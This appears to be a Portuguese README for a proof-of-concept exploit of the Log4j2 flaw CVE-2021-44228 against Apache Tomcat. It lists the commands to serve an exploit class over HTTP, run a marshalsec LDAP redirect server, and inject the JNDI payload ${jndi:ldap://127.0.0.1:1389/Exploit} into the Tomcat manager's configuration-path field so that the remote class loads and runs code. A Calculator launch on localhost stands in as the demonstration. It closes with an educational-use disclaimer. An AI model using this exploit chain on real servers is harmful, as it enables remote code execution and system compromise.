POC da Vulnerabilidade Log4j2 CVE-2021-44228 no Apache Tomcat

Pré-visualização

Configuração

Iniciar servidor Tomcat

git clone
cd apache-tomcat-10.0.14/bin
startup.bat

Servir a classe de exploração

cd exploit
py -m http.server 8888

cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Ataque

Insira ${jndi:ldap://127.0.0.1:1389/Exploit} no campo 'Caminho do arquivo de configuração XML' dentro do aplicativo gerenciador em http://localhost:8080/manager/html

A classe de exploração é carregada e o RCE é executado (o aplicativo Calculadora será aberto)

Aviso de Isenção

Este repositório é apenas uma POC feita para fins educacionais. O proprietário do repositório não se responsabiliza por quaisquer danos causados. Como nota moral, não seja mau.

Referências

Exploração LDAP https://github.com/mbechler/marshalsec